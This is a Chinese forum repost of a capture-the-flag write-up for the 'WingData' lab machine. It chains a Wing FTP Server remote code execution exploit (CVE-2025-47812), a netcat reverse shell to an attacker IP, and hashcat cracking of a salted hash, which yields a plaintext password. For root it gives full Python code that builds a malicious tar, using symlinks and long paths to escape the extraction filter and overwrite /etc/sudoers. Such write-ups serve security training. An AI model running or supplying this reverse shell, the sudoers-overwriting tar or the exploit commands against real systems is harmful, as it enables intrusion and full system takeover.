WingData
信息收集
得到一个ftp.wingdata.htb,也将这个加上
Wing FTP Server v7.4.3
通过搜寻cve是 CVE-2025-47812
漏洞利用(CVE-2025-47812)
4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)- python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami" -v
复制代码
然后反弹shell- python CVE-2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.5 8888 -e /bin/sh" -v
- python3 -c 'import pty;pty.spawn("/bin/bash")'
复制代码
然后在/opt/wftpserver/Data/1/users下的wacky.xml获得用户加密凭据
- 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
复制代码 爆破hash(WingFTP 使用SHA256算法,并使用盐值“WingFTP”为加密方式)- hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
复制代码
得到密码!#7Blushing^*Bride5
wacky/c
然后ssh连接
得到user.txt
权限提升
先sudo -l看一下
可以看到有一个py脚本
我们去看一下- cat /opt/backup_clients/restore_backup_clients.py
复制代码- #!/usr/bin/env python3
- import tarfile
- import os
- import sys
- import re
- import argparse
- BACKUP_BASE_DIR = "/opt/backup_clients/backups"
- STAGING_BASE = "/opt/backup_clients/restored_backups"
- def validate_backup_name(filename):
- if not re.fullmatch(r"^backup_\d+\.tar$", filename):
- return False
- client_id = filename.split('_')[1].rstrip('.tar')
- return client_id.isdigit() and client_id != "0"
- def validate_restore_tag(tag):
- return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
- def main():
- parser = argparse.ArgumentParser(
- description="Restore client configuration from a validated backup tarball.",
- epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
- )
- parser.add_argument(
- "-b", "--backup",
- required=True,
- help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
- "where <client_id> is a positive integer, e.g., backup_1001.tar)"
- )
- parser.add_argument(
- "-r", "--restore-dir",
- required=True,
- help="Staging directory name for the restore operation. "
- "Must follow the format: restore_<client_user> (e.g., restore_john). "
- "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
- )
- args = parser.parse_args()
- if not validate_backup_name(args.backup):
- print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
- sys.exit(1)
- backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
- if not os.path.isfile(backup_path):
- print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
- sys.exit(1)
- if not args.restore_dir.startswith("restore_"):
- print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
- sys.exit(1)
- tag = args.restore_dir[8:]
- if not tag:
- print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
- sys.exit(1)
- if not validate_restore_tag(tag):
- print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
- sys.exit(1)
- staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
- print(f"[+] Backup: {args.backup}")
- print(f"[+] Staging directory: {staging_dir}")
- os.makedirs(staging_dir, exist_ok=True)
- try:
- with tarfile.open(backup_path, "r") as tar:
- tar.extractall(path=staging_dir, filter="data")
- print(f"[+] Extraction completed in {staging_dir}")
- except (tarfile.TarError, OSError, Exception) as e:
- print(f"[!] Error during extraction: {e}", file=sys.stderr)
- sys.exit(2)
- if __name__ == "__main__":
- main()
复制代码 我们利用这个脚本生成tar文件- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- """
- 生成恶意tar文件的漏洞利用脚本
- 作用:构造包含多层目录、符号链接的tar文件,尝试突破路径限制写入/etc/sudoers
- """
- import tarfile
- import os
- import io
- import sys
- def create_malicious_tar(output_path="/tmp/backup_9999.tar"):
- """
- 创建恶意tar文件,包含路径遍历和符号链接的构造
-
- Args:
- output_path: 生成的tar文件保存路径,默认/tmp/backup_9999.tar
- """
- # 构造长目录名(247个d),用于突破路径长度限制
- long_dir_name = 'd' * 247
- # 用于构造多层目录的字符序列
- step_chars = "abcdefghijklmnop"
- current_path = ""
- try:
- # 以写模式打开tar文件
- with tarfile.open(output_path, mode="w") as tar:
- # 循环构造多层目录和符号链接
- for char in step_chars:
- # 1. 创建长目录名的目录项
- dir_info = tarfile.TarInfo(os.path.join(current_path, long_dir_name))
- dir_info.type = tarfile.DIRTYPE # 标记为目录类型
- tar.addfile(dir_info)
- # 2. 创建指向该长目录的符号链接
- symlink_info = tarfile.TarInfo(os.path.join(current_path, char))
- symlink_info.type = tarfile.SYMTYPE # 标记为符号链接类型
- symlink_info.linkname = long_dir_name # 链接指向长目录
- tar.addfile(symlink_info)
- # 更新当前路径,进入下一层
- current_path = os.path.join(current_path, long_dir_name)
- # 3. 构造多层符号链接路径,用于路径遍历
- link_path = os.path.join("/".join(step_chars), "l"*254)
- link_info = tarfile.TarInfo(link_path)
- link_info.type = tarfile.SYMTYPE
- link_info.linkname = "../" * len(step_chars) # 构造回退路径
- tar.addfile(link_info)
- # 4. 创建指向/etc目录的符号链接(escape)
- escape_info = tarfile.TarInfo("escape")
- escape_info.type = tarfile.SYMTYPE
- escape_info.linkname = f"{link_path}/../../../../../../../etc"
- tar.addfile(escape_info)
- # 5. 创建指向/etc/sudoers的硬链接(sudoers_link)
- sudoers_link_info = tarfile.TarInfo("sudoers_link")
- sudoers_link_info.type = tarfile.LNKTYPE
- sudoers_link_info.linkname = "escape/sudoers"
- tar.addfile(sudoers_link_info)
- # 6. 写入恶意内容到sudoers_link(覆盖/etc/sudoers)
- malicious_content = b"wacky ALL=(ALL) NOPASSWD: ALL\n"
- file_info = tarfile.TarInfo("sudoers_link")
- file_info.type = tarfile.REGTYPE # 标记为普通文件类型
- file_info.size = len(malicious_content) # 指定文件大小
- # 将内容写入tar文件
- tar.addfile(file_info, fileobj=io.BytesIO(malicious_content))
- print(f"[+] 恶意tar文件已生成:{output_path}")
- except Exception as e:
- print(f"[!] 生成tar文件失败:{str(e)}", file=sys.stderr)
- sys.exit(1)
- if __name__ == "__main__":
- # 支持自定义输出路径(可选参数)
- if len(sys.argv) > 1:
- output_tar = sys.argv[1]
- else:
- output_tar = "/tmp/backup_9999.tar"
-
- create_malicious_tar(output_tar)
复制代码
复制这个恶意的tar文件到sudo权限的目录下- cp backup_9999.tar /opt/backup_clients/backups/
复制代码 然后运行这个sudo脚本- sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil
复制代码
这时候再去sudo
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |